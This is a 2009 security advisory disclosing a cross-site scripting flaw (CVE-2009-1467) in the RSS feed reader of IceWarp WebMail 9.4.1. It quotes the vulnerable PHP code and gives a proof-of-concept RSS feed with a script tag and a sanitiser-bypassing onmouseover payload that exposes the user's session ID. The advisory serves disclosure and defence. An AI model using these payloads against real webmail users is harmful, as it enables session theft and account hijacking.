IceWarp WebMail RSS Feed XSS

`Advisory: IceWarp WebMail Server: User-assisted Cross Site Scripting in  
RSS Feed Reader  
  
During a penetration test, RedTeam Pentesting discovered that the  
IceWarp WebMail Server is prone to user-assisted Cross Site Scripting  
attacks in its RSS feed reader. If attackers control or compromise an  
RSS feed users are subscribed to, they can run arbitrary JavaScript code  
in the users' browsers by embedding it within the feed.  
  
  
Details  
=======  
  
Product: IceWarp eMail Server / WebMail Server  
Affected Versions: 9.4.1  
Fixed Versions: 9.4.2  
Vulnerability Type: Cross Site Scripting  
Security Risk: medium  
Vendor URL: http://www.icewarp.com/  
Vendor Status: notified, fixed version released  
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2009-002  
Advisory Status: published  
CVE: CVE-2009-1467  
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1467  
  
  
Introduction  
============  
  
"Feature complete yet easy to use, WebMail Server Pro provides feature  
rich Web 2.0 web-based access to email, calendars, contacts, files and  
shared data from any computer with browser and internet connection,  
without the usual configuration hassle. Thanks to advanced technologies  
and application-like look and feel, Pro suggests it was born to become  
the ultimate replacement of Outlook and similar desktop mail clients."  
  
(from the vendor's homepage)  
  
  
More Details  
============  
  
Users of the IceWarp WebMail Server can add RSS feeds as folders to  
their folder list. The parsing of such feeds is done in the PHP file  
  
html/webmail/server/inc/rss/rss.php  
  
The individual items of an RSS channel are handled in  
  
html/webmail/server/inc/rss/item.php  
  
In the function getHTML(), the final HTML page for an item is assembled  
and returned. The "title" and "description" keys correspond to the  
<title> and <description> elements in the feed, the "href" key to the  
<link> element:  
  
------------------------------------------------------------------------  
159 public function getHTML(&$aItem)  
160 {  
161 $aHTML['title'] = $this->subject;  
162 $aHTML['href'] = $this->to;  
163 $aHTML['description'] = Tools::cleanHTML($this->body,$base);  
164  
165 $aURL = parse_url($this->to);  
166 $aItem['base'] = $aURL['host'];  
167  
168 @$sHTML = htmlspecialchars(  
template('inc/templates/rss.tpl',$aHTML)  
);  
169  
170 return $sHTML;  
171 }  
------------------------------------------------------------------------  
  
Only the description gets sanitised by the cleanHTML() function, "title"  
and "href" are embedded unmodified into the final HTML page.  
  
This means that HTML or JavaScript code embedded in an item's <title> or  
<link> element of an RSS feed users are subscribed to will be executed  
as soon as they click on the item to display it. HTML and JavaScript  
code within the <description> element of an item is sanitised, but the  
sanitisation can be bypassed in the same way as described in RedTeam  
Pentesting's advisory rt-sa-2009-001, "IceWarp WebMail Server: Cross  
Site Scripting in Email View".  
  
Attackers have two options for exploiting this vulnerability: First,  
they can embed malicious code in a feed they control and convince users  
to subscribe to this feed. Second, they can change RSS feeds the users  
are already subscribed to by exploiting vulnerabilities in the systems  
providing these feeds.  
  
  
Proof of Concept  
================  
  
The following RSS feed contains JavaScript code in the <title> and  
<description> elements that displays a message containing the user's  
session ID. This code gets executed when users click on the item to view  
it:  
  
------------------------------------------------------------------------  
<?xml version="1.0" encoding="UTF-8"?>  
<rss version="2.0">  
<channel>  
<title>RedTeam Pentesting</title>  
<link   
href="http://www.redteam-pentesting.de"   
rel="self"   
type="application/rss+xml" />  
<link>http://www.redteam-pentesting.de</link>  
<description>Seeing your network from the attacker's perspective</description>  
<pubDate>Mon, 16 Apr 2009 05:23:42 +0000</pubDate>  
<language>de</language>  
<item>  
<title><script>alert('Title: Your session id is: ' + window.top.sSID);</script></title>  
<link>http://www.redteam-pentesting.de/pentest</link>  
<pubDate>Mon, 16 Apr 2009 05:23:42 +0000</pubDate>  
<description>  
<div o<xml>nmouseover="alert('Description: Your session id is: ' + window.top.sSID)">  
RedTeam Pentesting XSS  
</div>  
</description>  
</item>  
</channel>  
</rss>  
------------------------------------------------------------------------  
  
  
Workaround  
==========  
  
None.  
  
  
Fix  
===  
  
Upgrade to version 9.4.2.  
  
  
Security Risk  
=============  
  
Attackers who can inject JavaScript code into RSS feeds that users are  
subscribed to, or who can get users to subscribe to such RSS feeds, can  
execute any JavaScript code on the users' behalf. This will let them  
control the web application on a victim user's behalf and access any  
information accessible to that user, for example emails and files. It  
can also be used to to steal the users' sessions and hijack their  
accounts. Therefore the risk is estimated as medium.  
  
  
History  
=======  
  
2009-03-23 Vulnerabilities identified during a penetration test  
2009-04-01 Meeting with customer and vendor  
2009-04-28 CVE number assigned  
2009-05-05 Vendor publishes fixed version  
2009-05-05 Advisory released  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting is offering individual penetration tests, short  
pentests, performed by a team of specialised IT-security experts.  
Hereby, security weaknesses in company networks or products are  
uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at  
http://www.redteam-pentesting.de.  
  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 963-1300  
Dennewartstr. 25-27 Fax : +49 241 963-1304  
52068 Aachen http://www.redteam-pentesting.de/  
Germany Registergericht: Aachen HRB 14004  
Geschäftsführer: Patrick Hof, Jens Liebchen, Claus R. F. Overbeck  
`